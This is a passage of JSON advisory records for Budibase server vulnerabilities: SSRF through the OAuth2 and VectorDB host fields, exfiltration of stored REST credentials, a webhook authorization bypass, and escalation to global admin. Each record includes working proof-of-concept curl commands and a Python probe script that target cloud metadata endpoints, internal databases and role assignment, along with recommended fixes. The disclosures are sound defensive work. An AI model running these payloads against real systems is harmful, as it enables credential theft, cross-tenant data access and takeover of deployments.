3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N2o1LXZjNG0tNzIzd84ABZRe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cTZoLThwNHYtNjd2cc4ABZRZ","url":"https://github.com/advisories/GHSA-4q6h-8p4v-67vq","title":"Budibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata","description":"## Summary\n\n`fetchToken` in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the `blacklist.isBlacklisted` check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at `http://169.254.169.254/...` or `http://127.0.0.1:5984/`; the server connects and returns response-body fragments in the validation result.\n\n## Details\n\n`packages/server/src/sdk/workspace/oauth2/utils.ts:17-65` defines `fetchToken`. Near the end:\n\n```typescript\nconst resp = await fetch(config.url, fetchConfig)\n```\n\n`config.url` is whatever the builder stored. `fetchConfig` has `redirect: \"follow\"` (the default), so a public URL that returns 302 to an internal target is also reachable.\n\nThe route validation at `packages/server/src/api/routes/oauth2.ts:9` accepts any string:\n\n```typescript\nurl: Joi.string().required(),\n```\n\nThe controller passes the URL into `fetchToken` through `crud.ts`. The `/api/oauth2/validate` endpoint (builder role) is the most direct attack path: it lives on `builderRoutes`, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string.\n\nCompare with every other outbound fetch in the codebase:\n\n- `packages/server/src/integrations/rest.ts:754` calls `blacklist.isBlacklisted(url)` before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF).\n- `packages/backend-core/src/utils/outboundFetch.ts:98-100` sets `redirect: \"manual\"` and re-validates each hop.\n- `packages/server/src/automations/steps/outgoingWebhook.ts` routes through `fetchWithBlacklist`.\n\nThe default blacklist blocks `127.0.0.0/8`, `169.254.0.0/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (`packages/backend-core/src/blacklist/blacklist.ts:6-16`). The OAuth2 path never consults it.\n\n## Proof of Concept\n\nTested against Budibase 3.35.8 (built from master at f960e361).\n\nStep 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase:\n\n```bash\ncurl -sS -b \"$BUILDER_COOKIE\" -X POST \"$BASE/api/oauth2/validate\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://127.0.0.1:5984/\",\"clientId\":\"t\",\"clientSecret\":\"t\",\n       \"method\":\"BODY\",\"grantType\":\"client_credentials\"}'\n```\n\nServer response:\n\n```json\n{\"valid\":false,\"message\":\"Method Not Allowed\"}\n```\n\nBudibase reached CouchDB (which rejects POST at `/` with 405). Without the blacklist bypass this request would be blocked at the IP check.\n\nStep 2: Probe the cloud metadata range:\n\n```bash\ncurl -sS -b \"$BUILDER_COOKIE\" -X POST \"$BASE/api/oauth2/validate\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"t\",\"clientSecret\":\"t\",\"method\":\"BODY\",\"grantType\":\"client_credentials\"}'\n```\n\nServer response:\n\n```json\n{\"valid\":false,\"message\":\"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \\\"Not Found\\\" is not valid JSON\"}\n```\n\nThe `\"Not Found\"` substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error.\n\n## Impact\n\nTwo concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough):\n\n1. **Cross-tenant data read on Cloud.** Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own `\u003ctenantId\u003e_global-db` and `app_\u003cid\u003e` databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can `GET http://127.0.0.1:5984/_all_dbs` via a 302 redirector and enumerate every other tenant's databases, then read their `_users`, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply.\n2. **IAM credential exfiltration.** Alice points the URL at `http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e/` and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds.\n\nSelf-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it.\n\n## Recommended Fix\n\nCall `blacklist.isBlacklisted` before the fetch and set `redirect: \"manual\"` on `fetchConfig`, matching the pattern in `outboundFetch.ts`:\n\n```typescript\nimport { blacklist } from \"@budibase/backend-core\"\n\nasync function fetchToken(config: { url: string; /* ... */ }) {\n  config = await processEnvironmentVariable(config)\n  if (await blacklist.isBlacklisted(config.url)) {\n    throw new Error(\"OAuth2 token URL is blocked.\")\n  }\n  const fetchConfig: RequestInit = {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/x-www-form-urlencoded\" },\n    body: new URLSearchParams({ grant_type: \"client_credentials\" }),\n    redirect: \"manual\",\n  }\n  // ...\n}\n```\n\nAlternatively, replace the `fetch` call with `fetchWithBlacklist`, which handles both checks and re-validates redirect targets.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T22:45:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-4q6h-8p4v-67vq","https://nvd.nist.gov/vuln/detail/CVE-2026-48153","https://github.com/advisories/GHSA-4q6h-8p4v-67vq"],"source_kind":"github","identifiers":["GHSA-4q6h-8p4v-67vq","CVE-2026-48153"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-22T23:00:08.221Z","updated_at":"2026-07-27T03:01:02.228Z","epss_percentage":0.00175,"epss_percentile":0.07176,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cTZoLThwNHYtNjd2cc4ABZRZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cTZoLThwNHYtNjd2cc4ABZRZ","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cTZoLThwNHYtNjd2cc4ABZRZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZ3A1LXE0anctM3Y5NM4ABYnC","url":"https://github.com/advisories/GHSA-3gp5-q4jw-3v94","title":"Budibase: Basic app users can exfiltrate stored REST datasource auth by rewriting datasource base URL","description":"### Summary\nBudibase stores external REST datasource credentials server-side and documents that database credentials are applied server-side and are not exposed in the UI. The REST datasource implementation redacts stored Basic/Bearer/OAuth2 auth secrets before returning datasource data to clients. However, the single-datasource `GET` and `PUT` routes are guarded by generic `TABLE READ`, not by Builder/Admin permission or datasource-specific ownership/resource checks.\n\nThe built-in Basic app user role maps to the `WRITE` permission set, which includes table read/write and query write. A Basic user can therefore read an existing REST datasource, receive redacted `authConfigs` values, submit an update that changes only `config.url` while keeping the redacted placeholders, and trigger an existing saved relative-path REST query. During update, `mergeConfigs()` restores the old stored secret when it sees the redaction placeholder. During query execution, Budibase prefixes the attacker-controlled datasource `config.url` to the relative query path and applies the resolved stored auth headers. The result is server-side disclosure of the builder-configured REST Authorization secret to an attacker-controlled listener.\n\n### Source evidence\n- `packages/server/src/api/routes/datasource.ts`: datasource list/create/delete routes are on `builderRoutes`, but `GET /api/datasources/:datasourceId` and `PUT /api/datasources/:datasourceId` are in `authorizedRoutes` guarded only by `PermissionType.TABLE` and `PermissionLevel.READ`.\n- `packages/server/src/api/routes/datasource.ts`: the `:datasourceId` routes do not attach datasource-specific resource authorization.\n- `packages/backend-core/src/security/roles.ts`: built-in Basic user maps to `BuiltinPermissionID.WRITE`.\n- `packages/backend-core/src/security/permissions.ts`: `WRITE` grants `READ`/`EXECUTE` levels and includes `QUERY WRITE` and `TABLE WRITE`.\n- `packages/server/src/api/controllers/datasource.ts`: `datasourceController.update` reads the stored datasource, merges `ctx.request.body` into it, writes the result back, and returns a redacted copy.\n- `packages/server/src/sdk/workspace/datasources/datasources.ts`: `removeSecrets()` redacts REST Basic/Bearer/OAuth2 secrets to `PASSWORD_REPLACEMENT`.\n- `packages/server/src/sdk/workspace/datasources/datasources.ts`: `mergeConfigs()` restores the old stored auth-secret field when the update body sends the redaction placeholder for the same auth config.\n- `packages/server/src/integrations/rest.ts`: relative REST query paths are prefixed with datasource `config.url`.\n- `packages/server/src/integrations/rest.ts`: REST execution resolves the selected auth config and applies the resulting auth headers to the outbound request.\n- `packages/server/src/api/routes/query.ts`: saved query execution `POST /api/v2/queries/:queryId` is guarded by `QUERY WRITE`, which the Basic role has through the `WRITE` permission set.\n\n### Reproduction outline\nNo production systems were tested. This is source-backed and has a local static verifier plus a proof helper for an already-running authorized instance.\n\n1. Deploy a current Budibase instance.\n2. As a builder/admin, create and publish an app.\n3. As the builder/admin, create a REST datasource with:\n   - `config.url` set to a benign legitimate API base URL.\n   - a stored REST auth config containing a sentinel secret, such as a Bearer token `BUDIBASE_REST_TOKEN_SENTINEL`.\n4. As the builder/admin, create a saved REST query that uses a relative path and that auth config.\n5. Add a non-builder Basic app user.\n6. As the Basic user, confirm negative controls:\n   - Builder-only datasource list/create/preview routes are denied.\n   - The user is not a builder/admin.\n7. As the Basic user, call `GET /api/datasources/{datasourceId}`. The response returns the datasource and redacted auth placeholders, not the raw secret.\n8. As the Basic user, call `PUT /api/datasources/{datasourceId}` with the same redacted datasource body but with `config.url` changed to an attacker-controlled HTTP listener.\n9. As the Basic user, execute the saved query with `POST /api/v2/queries/{queryId}`.\n10. Expected vulnerable result: the attacker listener receives the server-side REST request with the preserved stored Authorization material, even though the Basic user never knew the raw secret and should not be able to administer datasource credentials.\n\nLocal source verifier:\n\n```bash\npython3 docker-proofs/s60/verify_budibase_basic_user_datasource_source_path.py\n```\n\nExpected success line:\n\n```text\nSOURCE_PATH_VERIFIED budibase_basic_user_datasource_rest_secret_exfil\n```\n\nObserved May 1, 2026:\n\n- `origin/master` was `8e6bf89acf1f602f3334592c4c8cd14e79f5362a`.\n- Latest release was `3.37.2` from Apr 30, 2026.\n- The source verifier passed and confirmed the route, role, redaction, merge, URL-prefixing, auth-header, and saved-query execution conditions.\n\nProof-assist helper:\n\n```bash\npython3 docker-proofs/s60/proof_budibase_basic_user_datasource_update_rest_secret_exfil.py \\\n  --base-url http://127.0.0.1:10000 \\\n  --app-id \u003cpublished-app-id\u003e \\\n  --datasource-id \u003crest-datasource-id\u003e \\\n  --query-id \u003csaved-relative-rest-query-id\u003e \\\n  --cookie '\u003cbasic-user-session-cookie\u003e' \\\n  --expected-secret BUDIBASE_REST_TOKEN_SENTINEL\n```\n\nThe helper does not start, stop, or delete containers/resources. It targets an authorized already-running instance, rewrites only `config.url`, captures the outbound Authorization material, and restores the original datasource by default.\n\n### Impact\nThis breaks the intended application-user versus builder/admin boundary for external REST datasource credentials. A Basic app user should be able to use published app functionality, but should not be able to administer datasource connection settings or extract builder-configured REST auth secrets. In a realistic internal-tool deployment, REST datasource auth configs often contain bearer tokens, API keys, Basic credentials, OAuth client secrets, service account tokens, or integration credentials for ticketing, CRM, ERP, security, and operational systems.\n\nAn attacker with only Basic app-user access to an app that uses an authenticated REST datasource can redirect future query traffic to an attacker-controlled endpoint and collect the preserved server-side Authorization header. This is distinct from public REST datasource SSRF issues because the core impact is stored credential disclosure across the role boundary, and it works with an external attacker-controlled URL rather than depending on internal-network reachability.\n\n### Remediation ideas\n- Move `GET`/`PUT /api/datasources/:datasourceId` behind Builder/Admin datasource permissions, or add datasource-specific resource authorization.\n- Do not allow non-builder app users to update datasource `config`, `authConfigs`, base URL, default headers, or plugin connection settings.\n- Split non-sensitive datasource metadata reads from credential-bearing/admin datasource reads.\n- Treat redaction placeholders as valid only in trusted builder/admin update flows.\n- Consider rotating REST datasource auth secrets for affected deployments after patching.\n\n### Duplicate/nearby public issue notes\nPublic triage found known Budibase REST datasource SSRF and protected-endpoint auth-bypass CVEs, but no obvious public duplicate for this specific Basic app-user `PUT /api/datasources/:id` role-boundary issue combined with preserved REST `authConfigs` secret exfiltration through a changed datasource base URL.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-12T18:28:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-3gp5-q4jw-3v94","https://nvd.nist.gov/vuln/detail/CVE-2026-48152","https://github.com/advisories/GHSA-3gp5-q4jw-3v94"],"source_kind":"github","identifiers":["GHSA-3gp5-q4jw-3v94","CVE-2026-48152"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T19:00:08.384Z","updated_at":"2026-08-28T13:01:43.960Z","epss_percentage":0.00257,"epss_percentile":0.16968,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3A1LXE0anctM3Y5NM4ABYnC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZ3A1LXE0anctM3Y5NM4ABYnC","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3A1LXE0anctM3Y5NM4ABYnC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xaHYzLXdqZzgtNmZ4Ns4ABYnB","url":"https://github.com/advisories/GHSA-qhv3-wjg8-6fx6","title":"Budibase: Webhook schema endpoint authorization bypass allows unauthenticated mutation of webhook and automation schema","description":"The webhook schema-building endpoint is registered under `builderRoutes`, but the generic authorization middleware skips authorization for all paths matching `/api/webhooks/schema`. As a result, an unauthenticated caller can update the body schema for a known webhook and mutate the corresponding automation trigger output schema.\n\n### Details\n\nThe route appears to be builder-only:\n\n- `packages/server/src/api/routes/webhook.ts:5-9`\n\n```ts\n5:builderRoutes\n6:  .get(\"/api/webhooks\", controller.fetch)\n7:  .put(\"/api/webhooks\", webhookValidator(), controller.save)\n8:  .delete(\"/api/webhooks/:id/:rev\", controller.destroy)\n9:  .post(\"/api/webhooks/schema/:instance/:id\", controller.buildSchema)\n```\n\nHowever, webhook endpoint detection explicitly includes `schema`:\n\n- `packages/server/src/middleware/utils.ts:3-9`\n\n```ts\n3:const WEBHOOK_ENDPOINTS = new RegExp(\n4:  \"^/api/webhooks/(trigger|schema|discord|ms-teams|slack)(/|$)\"\n5:)\n6:\n7:export function isWebhookEndpoint(ctx: UserCtx): boolean {\n8:  const path = ctx.path || ctx.request.url.split(\"?\")[0]\n9:  return WEBHOOK_ENDPOINTS.test(path)\n```\n\nThe authorization middleware bypasses all webhook endpoints before checking `ctx.user` or permissions:\n\n- `packages/server/src/middleware/authorized.ts:90-99`\n\n```ts\n90:  ) =\u003e\n91:  async (ctx: UserCtx, next: any) =\u003e {\n92:    // webhooks don't need authentication, each webhook unique\n93:    // also internal requests (between services) don't need authorized\n94:    if (isWebhookEndpoint(ctx) || ctx.internal) {\n95:      return next()\n96:    }\n97:\n98:    if (!ctx.user) {\n99:      return ctx.throw(401, \"No user info found\")\n```\n\nThe bypassed controller writes attacker-derived schema data to the webhook and automation trigger outputs:\n\n- `packages/server/src/api/controllers/webhook.ts:56-83`\n\n```ts\n56:export async function buildSchema(\n57:  ctx: Ctx\u003cBuildWebhookSchemaRequest, BuildWebhookSchemaResponse\u003e\n58:) {\n59:  await context.doInWorkspaceContext(ctx.params.instance, async () =\u003e {\n60:    const db = context.getWorkspaceDB()\n61:    const webhook = await db.get\u003cWebhook\u003e(ctx.params.id)\n62:    webhook.bodySchema = toJsonSchema(ctx.request.body)\n63:    // update the automation outputs\n64:    if (webhook.action.type === WebhookActionType.AUTOMATION) {\n65:      let automation = await db.get\u003cAutomation\u003e(webhook.action.target)\n66:      const autoOutputs = automation.definition.trigger.schema.outputs\n67:      let properties = webhook.bodySchema?.properties\n68:      // reset webhook outputs\n69:      autoOutputs.properties = {\n70:        body: autoOutputs.properties.body,\n71:      }\n72:      for (let prop of Object.keys(properties || {})) {\n73:        if (properties?.[prop] == null) {\n74:          continue\n75:        }\n76:        const def = properties[prop]\n77:        if (typeof def === \"boolean\") {\n78:          continue\n79:        }\n80:        autoOutputs.properties[prop] = {\n81:          type: def.type as AutomationIOType,\n82:          description: AUTOMATION_DESCRIPTION,\n83:        }\n```\n\nThe route grouping suggests builder authorization was intended, but the global webhook bypass removes it.\n\n### PoC\n\nNon-destructive validation approach:\n\n1. Create a webhook-backed automation as a builder.\n2. Record the workspace ID and webhook ID.\n3. Log out or send no auth headers.\n4. Send:\n\n```http\nPOST /api/webhooks/schema/\u003cworkspaceId\u003e/\u003cwebhookId\u003e HTTP/1.1\ncontent-type: application/json\n\n{\"unauth_schema_probe\":\"test\"}\n```\n\n5. Fetch the webhook as a builder and observe that `bodySchema` has changed.\n6. For automation-backed webhooks, inspect the automation trigger schema outputs and observe that properties were reset/updated.\n\n### Impact\n\nAn unauthenticated attacker can modify webhook schema metadata and automation trigger output schema for known webhook IDs. This can corrupt builder-visible automation definitions, alter downstream binding behavior, and disrupt webhook-backed automation workflows.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-12T18:28:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-qhv3-wjg8-6fx6","https://nvd.nist.gov/vuln/detail/CVE-2026-48151","https://github.com/advisories/GHSA-qhv3-wjg8-6fx6"],"source_kind":"github","identifiers":["GHSA-qhv3-wjg8-6fx6","CVE-2026-48151"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T19:00:08.384Z","updated_at":"2026-06-22T18:00:27.022Z","epss_percentage":0.00224,"epss_percentile":0.12808,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaHYzLXdqZzgtNmZ4Ns4ABYnB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xaHYzLXdqZzgtNmZ4Ns4ABYnB","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaHYzLXdqZzgtNmZ4Ns4ABYnB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02eHA0LWNmMzctcHBqaM4ABYnA","url":"https://github.com/advisories/GHSA-6xp4-cf37-ppjh","title":"Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign","description":"## Summary\n\n`/api/public/v1/roles/assign` is guarded by the `builderOrAdmin` middleware, which passes any user who is a builder for the app id in the `x-budibase-app-id` header. That check admits both global builders and workspace-scoped builders (`builder.apps` set but `builder.global` unset). The controller then spreads the request body into the SDK call, and the SDK grants `builder.global=true` or `admin.global=true` on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the `EXPANDED_PUBLIC_API` feature.\n\n## Details\n\nController (`packages/server/src/api/controllers/public/roles.ts:13-17`):\n\n```typescript\nexport async function assignAppBuilder(ctx: Ctx) {\n  const { userIds, ...assignmentProps } = ctx.request.body\n  await sdk.publicApi.roles.assign(userIds, assignmentProps)\n  ctx.body = { data: { userIds } }\n}\n```\n\nNothing filters `assignmentProps`. The request body's `builder` and `admin` keys flow directly into the SDK.\n\nSDK (`packages/pro/src/sdk/publicApi/roles.ts:17-47`):\n\n```typescript\nexport async function assign(userIds: string[], opts: AssignmentOpts) {\n  if (!(await isExpandedPublicApiEnabled())) {\n    throw new Error(\"Unable to assign roles - license required.\")\n  }\n  const users = await userDB.bulkGet(userIds)\n  for (let user of users) {\n    // ...\n    if (opts.builder) {\n      user.builder = { global: true }\n    }\n    if (opts.admin) {\n      user.admin = { global: true }\n    }\n  }\n  await userDB.bulkUpdate(users)\n}\n```\n\nNo check that the caller already holds the privilege they are granting. `user.builder` is overwritten unconditionally, which also strips any existing `builder.apps` scope from the target.\n\nRoute guard (`packages/backend-core/src/middleware/builderOrAdmin.ts:6-20`):\n\n```typescript\nexport async function builderOrAdmin(ctx: UserCtx, next: any) {\n  if (ctx.internal || isAdmin(ctx.user)) { return next() }\n  const workspaceId = await getWorkspaceIdFromCtx(ctx)\n  if (!workspaceId \u0026\u0026 !env.isWorker()) {\n    ctx.throw(403, \"This request required a workspace id.\")\n  } else if (!workspaceId \u0026\u0026 !hasBuilderPermissions(ctx.user)) {\n    ctx.throw(403, \"Admin/Builder user only endpoint.\")\n  } else if (workspaceId \u0026\u0026 !isBuilder(ctx.user, workspaceId)) {\n    ctx.throw(403, \"Workspace Admin/Builder user only endpoint.\")\n  }\n  // passes\n}\n```\n\n`isBuilder(user, workspaceId)` returns true for any user whose `builder.apps` array contains the workspace id, even when `builder.global` is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.\n\n## Proof of Concept\n\nTested on Budibase 3.35.8 (master at f960e361). The public API license gate at `roles.ts:18` was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.\n\nStep 1: the admin creates two users. Alice is a workspace-scoped builder on an app (`builder.apps: [app_...]`, `builder.global` unset, `admin.global` unset). Victim is a BASIC user.\n\nStep 2: Alice calls `GET /api/global/self/api_key` to mint an API key tied to her identity:\n\n```bash\ncurl -sS -b alice \"$BASE/api/global/self/api_key\"\n# → {\"apiKey\":\"80f28...\",\"userId\":\"us_dab...\",\"createdAt\":\"...\"}\n```\n\nStep 3: Alice calls `/api/public/v1/roles/assign` with the victim's id and `builder: true`. She scopes the request to her own app via `x-budibase-app-id` so `builderOrAdmin` passes:\n\n```bash\ncurl -sS -X POST \"$BASE/api/public/v1/roles/assign\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-api-key: $ALICE_APIKEY\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\"userIds\":[\"us_70b6...victim\"],\"builder\":true}'\n```\n\nAdmin verifies:\n\n```\nBEFORE: builder: {'global': False} admin: {'global': False}\nATTACK: HTTP 200 {\"data\":{\"userIds\":[\"us_70b6...\"]}}\nAFTER:  builder: {'global': True}  admin: {'global': False}\n```\n\nStep 4: Alice follows up with `\"admin\": true` and can target her own id:\n\n```bash\ncurl -sS -X POST \"$BASE/api/public/v1/roles/assign\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-api-key: $ALICE_APIKEY\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\"userIds\":[\"us_dab...alice\"],\"admin\":true}'\n```\n\n```\nAFTER: builder: {'apps': ['app_...']} admin: {'global': True}\n```\n\nAlice is now a global admin of the tenant. She kept `builder.apps` because the SDK only overwrites the keys it was asked to set; `admin: true` writes `admin = { global: true }` without touching `builder`.\n\n## Impact\n\nEvery workspace-scoped builder of any app in the tenant is one request away from global admin. Global admin grants unrestricted access to the tenant: every app in every workspace, every user, every datasource credential, every automation, every SCIM / OIDC / audit-log config. The mass-assignment also strips scoping from the target's existing role, so downgrading a legitimate global builder to an app-scoped builder fails: a later call reinstates `global: true`.\n\nA tenant that shares app-building duties across teams (the common Enterprise pattern) cannot hold the per-app boundary with the current middleware. This matches GHSA-2g39-332f-68p9 (Critical Privilege Escalation \u0026 IDOR via Missing RBAC) in shape and impact.\n\n## Recommended Fix\n\nEnforce the caller's privilege in the SDK, matching the grant they want to make:\n\n```typescript\n// packages/pro/src/sdk/publicApi/roles.ts:32-43\nconst caller = context.getIdentity() // or however the SDK resolves the caller\nif (opts.builder) {\n  if (!caller?.builder?.global \u0026\u0026 !caller?.admin?.global) {\n    throw new HTTPError(\"Only global builders or admins can grant global builder\", 403)\n  }\n  user.builder = { global: true }\n}\nif (opts.admin) {\n  if (!caller?.admin?.global) {\n    throw new HTTPError(\"Only global admins can grant global admin\", 403)\n  }\n  user.admin = { global: true }\n}\n```\n\nAlternative, equally valid: tighten `builderOrAdmin` so that endpoints which can set global-scope properties require `isGlobalBuilder` or `isAdmin`. That fixes this endpoint and any future endpoint that shares the middleware.\n\nWhichever fix lands, also strip `builder` and `admin` from `assignmentProps` at the controller boundary (`packages/server/src/api/controllers/public/roles.ts:14`) unless the caller has `admin.global=true`. Defense-in-depth against a future SDK regression.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-12T18:28:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-6xp4-cf37-ppjh","https://nvd.nist.gov/vuln/detail/CVE-2026-48150","https://github.com/advisories/GHSA-6xp4-cf37-ppjh"],"source_kind":"github","identifiers":["GHSA-6xp4-cf37-ppjh","CVE-2026-48150"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-12T19:00:08.384Z","updated_at":"2026-09-12T11:02:01.964Z","epss_percentage":0.00292,"epss_percentile":0.21504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eHA0LWNmMzctcHBqaM4ABYnA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02eHA0LWNmMzctcHBqaM4ABYnA","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eHA0LWNmMzctcHBqaM4ABYnA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjk2LTUzNDgtcDVwOM4ABYm-","url":"https://github.com/advisories/GHSA-cv96-5348-p5p8","title":"Budibase: Unvalidated VectorDB Host Parameter Enables SSRF","description":"### Summary\n\nThe VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as `169.254.169.254` or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf.\n\n### Details\n\nThe validator responsible for VectorDB creation and updates defines the host field as `Joi.string().required()`, which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment.\n\nWhen a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at `169.254.169.254`, the GCP metadata server at `metadata.google.internal`, and equivalent endpoints for other providers are all reachable this way.\n\nBuilder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure.\n\n### PoC\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https://TARGET_BUDIBASE_INSTANCE\"\nSESSION = requests.Session()\n\nlogin_resp = SESSION.post(f\"{BASE_URL}/api/global/auth/default/login\", json={\n    \"username\": \"builder@example.com\",\n    \"password\": \"builderpassword\"\n})\ntoken = login_resp.cookies.get(\"budibase:auth\") or login_resp.json().get(\"token\")\nSESSION.headers.update({\"Cookie\": f\"budibase:auth={token}\"})\n\ntargets = [\n    (\"169.254.169.254\", 80),\n    (\"localhost\", 5432),\n    (\"10.0.0.1\", 22),\n]\n\nfor host, port in targets:\n    start = time.time()\n    resp = SESSION.post(f\"{BASE_URL}/api/ai/vectordb\", json={\n        \"name\": f\"probe_{host.replace('.', '_')}_{port}\",\n        \"provider\": \"pgvector\",\n        \"host\": host,\n        \"port\": port,\n        \"database\": \"db\"\n    })\n    elapsed = time.time() - start\n    print(f\"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}\")\n```\n\n### Impact\n\nAn attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe 